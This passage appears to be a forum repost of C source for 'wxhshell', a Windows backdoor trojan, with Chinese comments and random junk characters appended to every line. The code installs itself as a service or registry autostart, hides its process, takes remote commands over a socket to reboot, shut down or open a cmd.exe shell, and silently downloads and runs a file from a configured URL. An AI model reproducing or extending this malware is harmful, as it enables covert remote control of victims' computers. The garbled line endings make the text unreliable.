  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h"849c;C.  
  } lV )SOs$  
  else { 0ofl,mXW  
t^(#~hx  
    switch(cmd[0]) { [R9!Tz  
  EC0M0qQ  
  // 帮助 u4,b%h.  
  case '?': { @"$rR+r'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ymr\8CG/  
    break; >x 6$F*:W}  
  } K" U!SWv  
  // 安装 a8[Q1Fa4|  
  case 'i': { g$eZT{{W  
    if(Install()) Z+J;nl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?&>H^}gDZ  
    else }y P98N5o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{7we$+,p  
    break; AYLCdCoK.  
    }  l6uU S  
  // 卸载 K-f\nr  
  case 'r': { q1O}dSPwX  
    if(Uninstall()) PdNxuy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $v*0 \O  
    else YTo^Q&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; rJ  
    break; 9X[}ik0  
    } y+ ZCuX  
  // 显示 wxhshell 所在路径 q=|0lZ$`V_  
  case 'p': { R404\XGL  
    char svExeFile[MAX_PATH]; ;th]/ G  
    strcpy(svExeFile,"\n\r"); c-, 6k  
      strcat(svExeFile,ExeFile); KJLK]lf}d  
        send(wsh,svExeFile,strlen(svExeFile),0); ko<iG]Dv'  
    break; -ip fGb  
    } zMI0W&P M  
  // 重启 ( O>oN~  
  case 'b': { OJH:k~]0!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6"UL+$k  
    if(Boot(REBOOT)) dS[="Set  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@R2mw  
    else { FeM,$&G:  
    closesocket(wsh); -$J%.fdPs  
    ExitThread(0); ;n-IpR#|  
    } /^>yDG T,0  
    break; N;BS;W5I  
    } raPUx_$PH  
  // 关机 9&t!U+  
  case 'd': { ;"@FLq(n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bk#t+tuk  
    if(Boot(SHUTDOWN)) }hjJt,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :/ yR  
    else { 4{1 .[##]o  
    closesocket(wsh); ;PrL)!  
    ExitThread(0); ?fXlrJ  
    } >&kb|)  
    break; Pv(icf l|  
    } dqvgyyq  
  // 获取shell -S(_ZbeN  
  case 's': { VN1a\  
    CmdShell(wsh); }M I9?\"q  
    closesocket(wsh); RL;>1Q,H  
    ExitThread(0); _Di}={1[.  
    break; {lhdropd  
  } D|Tv`47ntu  
  // 退出 !"Q8KV  
  case 'x': { vj:hMPC ZM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g}hR q%  
    CloseIt(wsh); qt#a_F*rV  
    break; Y=6b oT  
    } K)`\u7Bu  
  // 离开 ;7]Q'N  
  case 'q': { u/h!i@_w[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jKcnZu  
    closesocket(wsh); 2Rp'ju~O)/  
    WSACleanup(); vG<JOxP  
    exit(1); V %cU @  
    break; 5^\f[}  
        } QzQTE-SQ  
  } NNQro)Lpe  
  } F;IG@ &  
t7%!~s=,M  
  // 提示信息 f'\NGL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B0:[3@P7  
} F<UEipe/N  
  } Bkn- OG  
S>]Jc$  
  return; cXJtNW@  
} 3psCV=/z  
tN5brf  
// shell模块句柄 Rp2~d  
int CmdShell(SOCKET sock) FJN,er~T[  
{ V^t5 Y+7  
STARTUPINFO si; 35;)O -  
ZeroMemory(&si,sizeof(si)); BHwQB2t gc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !@_( W   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !8|]R  
PROCESS_INFORMATION ProcessInfo; up~l4]b+  
char cmdline[]="cmd"; X`ifjZ9}d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t:X[Blw3$  
  return 0; GLe(?\Ug=  
} *mM+(]8US  
bT@7&  
// 自身启动模式 d8b'Gjwtw  
int StartFromService(void) R0y@#}JH  
{ 0 mWfR8h0  
typedef struct ] =jnt  
{ 3:rH1vG.m  
  DWORD ExitStatus; j/bebR}X  
  DWORD PebBaseAddress; sBuVm<H  
  DWORD AffinityMask; g#V3u=I8~  
  DWORD BasePriority; d0b--v/  
  ULONG UniqueProcessId; 2O|o%`?  
  ULONG InheritedFromUniqueProcessId; #4{f2s[j6  
}   PROCESS_BASIC_INFORMATION; (WK $ )f  
[UI4YZu}  
PROCNTQSIP NtQueryInformationProcess; =*q:R9V  
eB:obz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -K`0`n}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .~ a)  
% 8kbX  
  HANDLE             hProcess; qFV=P k  
  PROCESS_BASIC_INFORMATION pbi; =L$};ko  
J ,fXXi)J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y @AKb  
  if(NULL == hInst ) return 0; S{Au%Rs  
oOuhbFu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1;ulqO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i4.s_@2Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S\Qh#y FT  
#](k,% 2  
  if (!NtQueryInformationProcess) return 0; 4];Qpln  
x#e(&OjN7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nh41o0  
  if(!hProcess) return 0; #3$U&|`  
%2<chq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &L-y1'i=j  
PZO7eEt8  
  CloseHandle(hProcess); :&`Yz   
c3|;'s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yov:JnWo  
if(hProcess==NULL) return 0; [^W4%S  
J1"u,HF*(  
HMODULE hMod; 9 il!w g?  
char procName[255]; 1+o>#8D  
unsigned long cbNeeded; MUNeGqv  
qTiUha9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C%v@ u$N  
-,96Qg4vI  
  CloseHandle(hProcess); 0At??Z py  
b]mRn{r?  
if(strstr(procName,"services")) return 1; // 以服务启动 DB_ x  
71Ssk|L  
  return 0; // 注册表启动 u *z$I  
} 1z~;c|  
@l&5 |Cia  
// 主模块 ']f]:X;6 w  
int StartWxhshell(LPSTR lpCmdLine) T~%5^+[h  
{ 7F3Hkvd[k  
  SOCKET wsl; i,ku91T  
BOOL val=TRUE; Yh:*.@  
  int port=0; p&_a kQj  
  struct sockaddr_in door; 0(3t#  
ekP=/;T#S  
  if(wscfg.ws_autoins) Install(); 9XS+W w7  
/k1&?e  
port=atoi(lpCmdLine); m |,ocz  
v (<~:]  
if(port<=0) port=wscfg.ws_port; Np|i Xwl1  
[}lv!KmzW  
  WSADATA data; e?L$RY,7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i(,R$AU  
K]@^8e$(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t2+m7*76  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nI.#A  
  door.sin_family = AF_INET; rN{&$+"2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #>~$`Sg  
  door.sin_port = htons(port); h&yaug,.  
Y*f7& '[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >K-O2dry*  
closesocket(wsl); c.&vWmLSGE  
return 1; jRB:o?S  
} #B'WT{B$/~  
zv#i\8h^p  
  if(listen(wsl,2) == INVALID_SOCKET) { 3 %dbfT j  
closesocket(wsl); d&?B/E^  
return 1; /R k5n  
} fylW)W4C  
  Wxhshell(wsl); fdd3H[  
  WSACleanup(); ]$nJn+85@b  
s&y  
return 0; 4_t aCK  
Z/;rM8[{&  
} N ~M:+ \  
&.7\{q\(  
// 以NT服务方式启动 -mX _I{BJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )l30~5u<J  
{ =q5A@!D  
DWORD   status = 0;  G!O D7:  
  DWORD   specificError = 0xfffffff; )KBv[|  
FNmIXpAn*@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <`| }bt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K~,,xsy,G&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K]kL?-A#'  
  serviceStatus.dwWin32ExitCode     = 0; W .Hv2r3  
  serviceStatus.dwServiceSpecificExitCode = 0; l*'jqR')h^  
  serviceStatus.dwCheckPoint       = 0; MQ\:/]a  
  serviceStatus.dwWaitHint       = 0; 2E2J=Do  
6tG9PG98q9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,=oq)Fm]  
  if (hServiceStatusHandle==0) return; .#j)YG  
pb E`Eq  
status = GetLastError(); S*#y7YKI  
  if (status!=NO_ERROR) sur2Mw(M"  
{ T X6Ydd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `2S{.s  
    serviceStatus.dwCheckPoint       = 0; eIof{#  
    serviceStatus.dwWaitHint       = 0; zq4mT;rqz  
    serviceStatus.dwWin32ExitCode     = status; Cn28&$:J  
    serviceStatus.dwServiceSpecificExitCode = specificError; L<8y5B~W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e|MyA?`  
    return; e>z7?"N  
  } )\VUAD%~e7  
,~G _3Oz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CF42KNq  
  serviceStatus.dwCheckPoint       = 0; YLobBtXc9  
  serviceStatus.dwWaitHint       = 0; ItOVx!"@9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5QS d$J  
} `i{o8l  
>r]# 77d  
// 处理NT服务事件,比如:启动、停止 Mh_jlgE'd#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yuI5# VUS  
{ E/s3@-/  
switch(fdwControl) &nz1[,  
{ N.-Ryj&9  
case SERVICE_CONTROL_STOP: T5-4Q  
  serviceStatus.dwWin32ExitCode = 0; G|^gaj'9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wc__g8?'  
  serviceStatus.dwCheckPoint   = 0; UdL`.D,  
  serviceStatus.dwWaitHint     = 0; 2s 6Vy  
  { S~6<'N&[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HHEFX9u  
  } Iv/yIS  
  return; `+zr PpX  
case SERVICE_CONTROL_PAUSE: uft~+w P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P'Y8 t  
  break; @KS:d\l}U  
case SERVICE_CONTROL_CONTINUE: ;WGY)=-gv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rut6m5>  
  break; DMs|Q$XB  
case SERVICE_CONTROL_INTERROGATE: *Z/B\nb  
  break; SxH}/I|W  
}; 8sbS7*#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *$l8H[  
} Zs{ `Yf^Q  
Y$Uvt_  
// 标准应用程序主函数 1.>sG2*P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4G`YZZQ  
{ v<2+yZ M  
Vq<|DM3z<  
// 获取操作系统版本 /+IR^WG#C}  
OsIsNt=GetOsVer(); r`7`f xe  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  WHpbQQX  
' GW@P  
  // 从命令行安装 B2Orw8F  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,2kWj7H%7  
KR522YW  
  // 下载执行文件 Gu_s:cgB9F  
if(wscfg.ws_downexe) { u YH{4%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "?S#vUS+ 2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2qn~A0r  
} [yVU p+  
Viw{<VH=  
if(!OsIsNt) { J J3vC  
// 如果时win9x,隐藏进程并且设置为注册表启动 fi,=z  
HideProc(); P)}:lTe  
StartWxhshell(lpCmdLine); { aB_t%`w  
} z1Ju;k( 8  
else 5?I]\Tb  
  if(StartFromService()) z&t6,0q`5  
  // 以服务方式启动 )0'O!O  
  StartServiceCtrlDispatcher(DispatchTable); S%T1na^x  
else Aw|3W ]  
  // 普通方式启动 je{5iIr3/  
  StartWxhshell(lpCmdLine); i2!{.*.  
?=T&|pp  
return 0; @'U4-x  
}
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只看该作者 1 发表于: 2006-10-10
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